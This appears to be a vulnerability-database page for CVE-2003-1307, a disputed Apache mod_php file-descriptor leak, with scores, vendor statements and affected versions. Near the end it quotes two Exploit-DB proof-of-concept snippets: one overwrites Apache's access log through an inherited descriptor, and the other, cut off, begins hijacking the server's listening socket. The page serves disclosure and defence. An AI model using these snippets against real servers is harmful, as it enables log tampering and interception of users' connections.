CVE-2003-1307
published 2003-12-31CVE-2003-1307: The mod_php module for the Apache HTTP Server allows local users with write access to PHP scripts to send signals to the server's process group and use the…
PriorityP418medium4.3CVSS 2.0
AVLACLAuSCPIPAP
EXPLOIT
EPSS
1.62%
73.5th percentile
The mod_php module for the Apache HTTP Server allows local users with write access to PHP scripts to send signals to the server's process group and use the server's file descriptors, as demonstrated by sending a STOP signal, then intercepting incoming connections on the server's TCP port. NOTE: the PHP developer has disputed this vulnerability, saying "The opened file descriptors are opened by Apache. It is the job of Apache to protect them ... Not a bug in PHP.
Affected
20 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| apache | http_server | — | — |
| apache | http_server | — | — |
| apache | http_server | — | — |
| apache | http_server | — | — |
| apache | http_server | — | — |
| apache | http_server | — | — |
| apache | http_server | — | — |
| apache | http_server | — | — |
| apache | http_server | — | — |
| apache | http_server | — | — |
| apache | http_server | — | — |
| apache | http_server | — | — |
| apache | http_server | — | — |
| apache | http_server | — | — |
| apache | http_server | — | — |
| apache | http_server | — | — |
| apache | http_server | — | — |
| apache | http_server | — | — |
| apache | http_server | — | — |
| debian | apache2 | — | — |
CVSS provenance
nvdv2.04.3MEDIUMAV:L/AC:L/Au:S/C:P/I:P/A:P
osv4.3MEDIUM
vendor_debian4.3LOW
vendor_redhat4.3MEDIUM
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
Debian
CVE-2003-1307: apache2 - The mod_php module for the Apache HTTP Server allows local users with write acce...
vendor_debian·2003·CVSS 4.3
CVE-2003-1307 [MEDIUM] CVE-2003-1307: apache2 - The mod_php module for the Apache HTTP Server allows local users with write acce...
The mod_php module for the Apache HTTP Server allows local users with write access to PHP scripts to send signals to the server's process group and use the server's file descriptors, as demonstrated by sending a STOP signal, then intercepting incoming connections on the server's TCP port. NOTE: the PHP developer has disputed this vulnerability, saying "The opened file descriptors are opened by Apache. It is the job of Apache to protect them ... Not a bug in PHP.
Scope: local
bookworm: open
bullseye: open
forky: open
sid: open
trixie: open
Red Hat
CVE-2003-1307: The mod_php module for the Apache HTTP Server allows local users with write access to PHP scripts to send signals to the server's process group and us
vendor_redhat·CVSS 4.3
CVE-2003-1307 [MEDIUM] CVE-2003-1307: The mod_php module for the Apache HTTP Server allows local users with write access to PHP scripts to send signals to the server's process group and us
The mod_php module for the Apache HTTP Server allows local users with write access to PHP scripts to send signals to the server's process group and use the server's file descriptors, as demonstrated by sending a STOP signal, then intercepting incoming connections on the server's TCP port. NOTE: the PHP developer has disputed this vulnerability, saying "The opened file descriptors are opened by Apache. It is the job of Apache to protect them ... Not a bug in PHP.
Statement: This is not a vulnerability. When PHP scripts are interpreted using the dynamically loaded mod_php DSO, the PHP interpreter executes with the privileges of the httpd child process. The PHP intepreter does not "sandbox" PHP scripts from the environment in which they run.
On any modern Unix system a process can easily obt
GHSA
GHSA-8jm5-c7cw-v9hh: ** DISPUTED ** The mod_php module for the Apache HTTP Server allows local users with write access to PHP scripts to send signals to the server's proce
ghsa_unreviewed·2022-04-29
CVE-2003-1307 [MEDIUM] GHSA-8jm5-c7cw-v9hh: ** DISPUTED ** The mod_php module for the Apache HTTP Server allows local users with write access to PHP scripts to send signals to the server's proce
** DISPUTED ** The mod_php module for the Apache HTTP Server allows local users with write access to PHP scripts to send signals to the server's process group and use the server's file descriptors, as demonstrated by sending a STOP signal, then intercepting incoming connections on the server's TCP port. NOTE: the PHP developer has disputed this vulnerability, saying "The opened file descriptors are opened by Apache. It is the job of Apache to protect them ... Not a bug in PHP."
OSV
CVE-2003-1307: The mod_php module for the Apache HTTP Server allows local users with write access to PHP scripts to send signals to the server's process group and us
osv·2003-12-31·CVSS 4.3
CVE-2003-1307 [MEDIUM] CVE-2003-1307: The mod_php module for the Apache HTTP Server allows local users with write access to PHP scripts to send signals to the server's process group and us
The mod_php module for the Apache HTTP Server allows local users with write access to PHP scripts to send signals to the server's process group and use the server's file descriptors, as demonstrated by sending a STOP signal, then intercepting incoming connections on the server's TCP port. NOTE: the PHP developer has disputed this vulnerability, saying "The opened file descriptors are opened by Apache. It is the job of Apache to protect them ... Not a bug in PHP.
No detection rules found.
Exploit-DB
Apache 2.0.4x mod_php - File Descriptor Leakage (2)
exploitdb·2003-12-26
CVE-2003-1307 Apache 2.0.4x mod_php - File Descriptor Leakage (2)
Apache 2.0.4x mod_php - File Descriptor Leakage (2)
---
// source: https://www.securityfocus.com/bid/9302/info
Reportedly, the Apache mod_php module may be prone to a vulnerability that may allow a local attacker to gain access to privileged file descriptors. As a result, the attacker may pose as a legitimate server and possibly steal or manipulate sensitive information.
# apache's access_log can be overwritten with arbitrary content
# from PHP called executables.
# POC by frauk\x41ser && sk0L / SEC Consult 2006
#include
#include
#define LOGFD 7
void main(){
fcntl(LOGFD, F_SETFL, O_WRONLY); // change mode from append to write
lseek(LOGFD, 0, SEEK_SET); // reposition to start of file
write(LOGFD,"hehe\n",5);
}
Exploit-DB
Apache 2.0.4x mod_php - File Descriptor Leakage (1)
exploitdb·2003-12-26
CVE-2003-1307 Apache 2.0.4x mod_php - File Descriptor Leakage (1)
Apache 2.0.4x mod_php - File Descriptor Leakage (1)
---
// source: https://www.securityfocus.com/bid/9302/info
Reportedly, the Apache mod_php module may be prone to a vulnerability that may allow a local attacker to gain access to privileged file descriptors. As a result, the attacker may pose as a legitimate server and possibly steal or manipulate sensitive information.
#include
#include
#include
#include
#include
#include
#include
#include
/*
* The basic actions are like this:
* 1) Become session leader
* 2) Get rid of the parent (apache)
* 3) Start handling requests
*/
#define LISTEN_DESCRIPTOR 4
#define CERTF "/var/www/html/foo-cert.pem"
#define KEYF "/var/www/html/foo-cert.pem"
static SSL_CTX *ctx;
static SSL *ssl;
static X509 *client_cert;
static SSL_METHOD *meth;
static void
No writeups or analysis indexed.
http://bugs.php.net/38915http://hackerdom.ru/~dimmo/phpexpl.chttp://www.securityfocus.com/archive/1/348368http://www.securityfocus.com/archive/1/449234/100/0/threadedhttp://www.securityfocus.com/archive/1/449298/100/0/threadedhttp://www.securityfocus.com/bid/9302http://bugs.php.net/38915http://hackerdom.ru/~dimmo/phpexpl.chttp://www.securityfocus.com/archive/1/348368http://www.securityfocus.com/archive/1/449234/100/0/threadedhttp://www.securityfocus.com/archive/1/449298/100/0/threadedhttp://www.securityfocus.com/bid/9302
2003-12-31
Published